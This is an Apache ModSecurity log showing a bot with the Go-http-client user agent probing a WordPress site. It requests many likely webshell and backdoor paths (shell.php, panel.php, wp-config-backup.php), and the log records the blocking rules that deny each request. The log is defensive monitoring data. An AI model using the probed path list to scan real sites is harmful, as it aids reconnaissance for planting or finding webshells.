[Thu May 07 15:26:12.857190 2026] [:error] [pid 15715:tid 15723] [client 98.159.43.153:50709] [client 98.159.43.153] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/languages/"] [unique_id "afw-lCY4dZsLOttMkcde7QAAAQY"]
[Thu May 07 15:26:13.056372 2026] [:error] [pid 15715:tid 15744] [client 98.159.43.139:32095] [client 98.159.43.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/worksec.php"] [unique_id "afw-lSY4dZsLOttMkcde7gAAARg"]
[Thu May 07 15:26:13.253607 2026] [:error] [pid 15715:tid 15738] [client 98.159.43.113:37225] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/packed.php"] [unique_id "afw-lSY4dZsLOttMkcde8AAAARI"]
[Thu May 07 15:26:13.451362 2026] [:error] [pid 15629:tid 15635] [client 98.159.43.118:50645] [client 98.159.43.118] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/network/cache/"] [unique_id "afw-lfrIJCALdUrO43lXwwAAAAI"]
[Thu May 07 15:26:13.650349 2026] [:error] [pid 15631:tid 15694] [client 98.159.43.163:48267] [client 98.159.43.163] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentyfour/patterns/file.php"] [unique_id "afw-lXvP1GkPUuuLfqUM4QAAAMc"]
[Thu May 07 15:26:13.853511 2026] [:error] [pid 15630:tid 15682] [client 98.159.43.161:30449] [client 98.159.43.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin-header.php"] [unique_id "afw-lXTithRAi4821quPswAAAJY"]
[Thu May 07 15:26:14.054399 2026] [:error] [pid 15631:tid 15691] [client 98.159.43.134:55199] [client 98.159.43.134] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/details/"] [unique_id "afw-lnvP1GkPUuuLfqUM4wAAAMQ"]
[Thu May 07 15:26:14.252484 2026] [:error] [pid 28098:tid 28112] [client 98.159.43.122:64321] [client 98.159.43.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/endpoints/"] [unique_id "afw-lsvhwfljlt8trSqJ7AAAAEw"]
[Thu May 07 15:26:14.454099 2026] [:error] [pid 15630:tid 15680] [client 98.159.43.146:60805] [client 98.159.43.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/"] [unique_id "afw-lnTithRAi4821quPtAAAAJQ"]
[Thu May 07 15:26:14.654518 2026] [:error] [pid 15630:tid 15670] [client 98.159.43.105:29893] [client 98.159.43.105] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/mah/function.php"] [unique_id "afw-lnTithRAi4821quPtQAAAIo"]
[Thu May 07 15:26:14.857120 2026] [:error] [pid 15629:tid 15653] [client 98.159.43.148:51947] [client 98.159.43.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wp-conflg.php"] [unique_id "afw-lvrIJCALdUrO43lXxAAAABQ"]
[Thu May 07 15:26:15.054596 2026] [:error] [pid 15715:tid 15720] [client 98.159.43.149:30843] [client 98.159.43.149] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/config.php"] [unique_id "afw-lyY4dZsLOttMkcde8QAAAQM"]
[Thu May 07 15:26:15.255052 2026] [:error] [pid 15631:tid 15699] [client 98.159.43.113:32681] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/chosen.php"] [unique_id "afw-l3vP1GkPUuuLfqUM5QAAAMw"]
[Thu May 07 15:26:15.457527 2026] [:error] [pid 15715:tid 15730] [client 98.159.43.147:38571] [client 98.159.43.147] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/widgets/admin.php"] [unique_id "afw-lyY4dZsLOttMkcde8gAAAQo"]
[Thu May 07 15:26:15.657328 2026] [:error] [pid 15631:tid 15698] [client 98.159.43.132:42749] [client 98.159.43.132] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/images/"] [unique_id "afw-l3vP1GkPUuuLfqUM5gAAAMs"]
[Thu May 07 15:26:15.854410 2026] [:error] [pid 15715:tid 15732] [client 98.159.43.111:50099] [client 98.159.43.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/dist/vendor/about.php"] [unique_id "afw-lyY4dZsLOttMkcde9AAAAQw"]
[Thu May 07 15:26:16.050344 2026] [:error] [pid 28098:tid 28119] [client 98.159.43.109:33693] [client 98.159.43.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentyfour/"] [unique_id "afw-mMvhwfljlt8trSqJ7QAAAFM"]
[Thu May 07 15:26:16.249791 2026] [:error] [pid 15630:tid 15674] [client 98.159.43.145:50567] [client 98.159.43.145] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-bindings/maint/"] [unique_id "afw-mHTithRAi4821quPtwAAAI4"]
[Thu May 07 15:26:16.448885 2026] [:error] [pid 15629:tid 15642] [client 98.159.43.161:54323] [client 98.159.43.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/media/"] [unique_id "afw-mPrIJCALdUrO43lXxQAAAAk"]
[Thu May 07 15:26:16.649489 2026] [:error] [pid 28098:tid 28124] [client 98.159.43.105:60407] [client 98.159.43.105] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/customize-widgets/"] [unique_id "afw-mMvhwfljlt8trSqJ7gAAAFg"]
[Thu May 07 15:26:16.846676 2026] [:error] [pid 15630:tid 15664] [client 98.159.43.115:47849] [client 98.159.43.115] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/separator/"] [unique_id "afw-mHTithRAi4821quPuQAAAIQ"]
[Thu May 07 15:26:17.044555 2026] [:error] [pid 28098:tid 28123] [client 98.159.43.149:61327] [client 98.159.43.149] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/imgareaselect/"] [unique_id "afw-mcvhwfljlt8trSqJ8AAAAFc"]
[Thu May 07 15:26:17.243734 2026] [:error] [pid 15629:tid 15646] [client 98.159.43.152:30989] [client 98.159.43.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/buttons/"] [unique_id "afw-mfrIJCALdUrO43lXxgAAAA0"]
[Thu May 07 15:26:17.442178 2026] [:error] [pid 15630:tid 15679] [client 98.159.43.154:28845] [client 98.159.43.154] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content.php"] [unique_id "afw-mXTithRAi4821quPugAAAJM"]
[Thu May 07 15:26:17.642821 2026] [:error] [pid 15631:tid 15690] [client 98.159.43.153:42355] [client 98.159.43.153] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Renderer/"] [unique_id "afw-mXvP1GkPUuuLfqUM6wAAAMM"]
[Thu May 07 15:26:17.845188 2026] [:error] [pid 15629:tid 15650] [client 98.159.43.107:20539] [client 98.159.43.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/.well-known/acme-challenge/"] [unique_id "afw-mfrIJCALdUrO43lXyAAAABE"]
[Thu May 07 15:26:18.044864 2026] [:error] [pid 15629:tid 15638] [client 98.159.43.129:37861] [client 98.159.43.129] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/shell.php"] [unique_id "afw-mvrIJCALdUrO43lXygAAAAU"]
[Thu May 07 15:26:18.244834 2026] [:error] [pid 15629:tid 15633] [client 98.159.43.119:32103] [client 98.159.43.119] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/image/"] [unique_id "afw-mvrIJCALdUrO43lXywAAAAA"]
[Thu May 07 15:26:18.441753 2026] [:error] [pid 28098:tid 28109] [client 98.159.43.121:61161] [client 98.159.43.121] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/files.php"] [unique_id "afw-msvhwfljlt8trSqJ8wAAAEk"]
[Thu May 07 15:26:18.641247 2026] [:error] [pid 28098:tid 28121] [client 98.159.43.151:55069] [client 98.159.43.151] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/video/"] [unique_id "afw-msvhwfljlt8trSqJ9QAAAFU"]
[Thu May 07 15:26:18.839500 2026] [:error] [pid 28098:tid 28122] [client 98.159.43.145:45553] [client 98.159.43.145] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentyfive/"] [unique_id "afw-msvhwfljlt8trSqJ9gAAAFY"]
[Thu May 07 15:26:19.042954 2026] [:error] [pid 28098:tid 28112] [client 98.159.43.129:44487] [client 98.159.43.129] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/ectoplasm/"] [unique_id "afw-m8vhwfljlt8trSqJ9wAAAEw"]
[Thu May 07 15:26:19.241914 2026] [:error] [pid 15629:tid 15657] [client 98.159.43.115:34255] [client 98.159.43.115] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/wp-activate.php"] [unique_id "afw-m_rIJCALdUrO43lXzAAAABg"]
[Thu May 07 15:26:19.440037 2026] [:error] [pid 28098:tid 28119] [client 98.159.43.116:43971] [client 98.159.43.116] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/chosen.php"] [unique_id "afw-m8vhwfljlt8trSqJ-QAAAFM"]
[Thu May 07 15:26:19.639167 2026] [:error] [pid 28098:tid 28124] [client 98.159.43.137:25495] [client 98.159.43.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/backup.php"] [unique_id "afw-m8vhwfljlt8trSqJ-gAAAFg"]
[Thu May 07 15:26:19.839007 2026] [:error] [pid 15629:tid 15641] [client 98.159.43.115:58733] [client 98.159.43.115] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/"] [unique_id "afw-m_rIJCALdUrO43lXzQAAAAg"]
[Thu May 07 15:26:20.037933 2026] [:error] [pid 15629:tid 15644] [client 98.159.43.149:30335] [client 98.159.43.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/login.php"] [unique_id "afw-nPrIJCALdUrO43lXzgAAAAs"]
[Thu May 07 15:26:20.236004 2026] [:error] [pid 28098:tid 28100] [client 98.159.43.133:36183] [client 98.159.43.133] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentyfour/assets/"] [unique_id "afw-nMvhwfljlt8trSqJ-wAAAEA"]
[Thu May 07 15:26:20.432371 2026] [:error] [pid 28098:tid 28110] [client 98.159.43.163:21929] [client 98.159.43.163] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/ab.php"] [unique_id "afw-nMvhwfljlt8trSqJ_AAAAEo"]
[Thu May 07 15:26:20.628697 2026] [:error] [pid 15630:tid 15665] [client 98.159.43.157:64903] [client 98.159.43.157] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/login.php"] [unique_id "afw-nHTithRAi4821quPvQAAAIU"]
[Thu May 07 15:26:20.827295 2026] [:error] [pid 15629:tid 15654] [client 98.159.43.157:29831] [client 98.159.43.157] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/src/Auth/"] [unique_id "afw-nPrIJCALdUrO43lX0AAAABU"]
[Thu May 07 15:26:21.025855 2026] [:error] [pid 28098:tid 28105] [client 98.159.43.151:57539] [client 98.159.43.151] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/dist/script-modules/block-library/navigation/"] [unique_id "afw-ncvhwfljlt8trSqJ_QAAAEU"]
[Thu May 07 15:26:22.719591 2026] [:error] [pid 28098:tid 28108] [client 98.159.43.136:35043] [client 98.159.43.136] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/panel.php"] [unique_id "afw-nsvhwfljlt8trSqKAAAAAEg"]
[Thu May 07 15:26:22.920061 2026] [:error] [pid 28098:tid 28122] [client 98.159.43.122:47627] [client 98.159.43.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/commands/"] [unique_id "afw-nsvhwfljlt8trSqKAQAAAFY"]
[Thu May 07 15:26:23.120039 2026] [:error] [pid 15630:tid 15681] [client 98.159.43.129:51505] [client 98.159.43.129] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/vx.php"] [unique_id "afw-n3TithRAi4821quPvwAAAJU"]
[Thu May 07 15:26:23.318107 2026] [:error] [pid 15629:tid 15634] [client 98.159.43.140:25835] [client 98.159.43.140] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/t.php"] [unique_id "afw-n_rIJCALdUrO43lX0QAAAAE"]
[Thu May 07 15:26:23.517992 2026] [:error] [pid 15630:tid 15670] [client 98.159.43.153:36371] [client 98.159.43.153] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/about.php"] [unique_id "afw-n3TithRAi4821quPwAAAAIo"]
[Thu May 07 15:26:23.717352 2026] [:error] [pid 28098:tid 28112] [client 98.159.43.106:38825] [client 98.159.43.106] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jcrop/"] [unique_id "afw-n8vhwfljlt8trSqKAgAAAEw"]
[Thu May 07 15:26:23.916956 2026] [:error] [pid 28098:tid 28118] [client 98.159.43.118:24079] [client 98.159.43.118] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/library/"] [unique_id "afw-n8vhwfljlt8trSqKAwAAAFI"]
[Thu May 07 15:26:24.113322 2026] [:error] [pid 28098:tid 28119] [client 98.159.43.155:21213] [client 98.159.43.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentytwo/assets/fonts/"] [unique_id "afw-oMvhwfljlt8trSqKBQAAAFM"]
[Thu May 07 15:26:24.310690 2026] [:error] [pid 15715:tid 15739] [client 98.159.43.152:42865] [client 98.159.43.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/chosen.php"] [unique_id "afw-oCY4dZsLOttMkcde9QAAARM"]
[Thu May 07 15:26:24.507841 2026] [:error] [pid 15715:tid 15733] [client 98.159.43.163:40327] [client 98.159.43.163] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-signin.php"] [unique_id "afw-oCY4dZsLOttMkcde9gAAAQ0"]
[Thu May 07 15:26:24.708804 2026] [:error] [pid 15715:tid 15743] [client 98.159.43.120:46295] [client 98.159.43.120] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentynineteen/sass/site/"] [unique_id "afw-oCY4dZsLOttMkcde-QAAARc"]
[Thu May 07 15:26:24.907424 2026] [:error] [pid 28098:tid 28117] [client 98.159.43.111:28657] [client 98.159.43.111] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/wp-config-backup.php"] [unique_id "afw-oMvhwfljlt8trSqKBwAAAFE"]
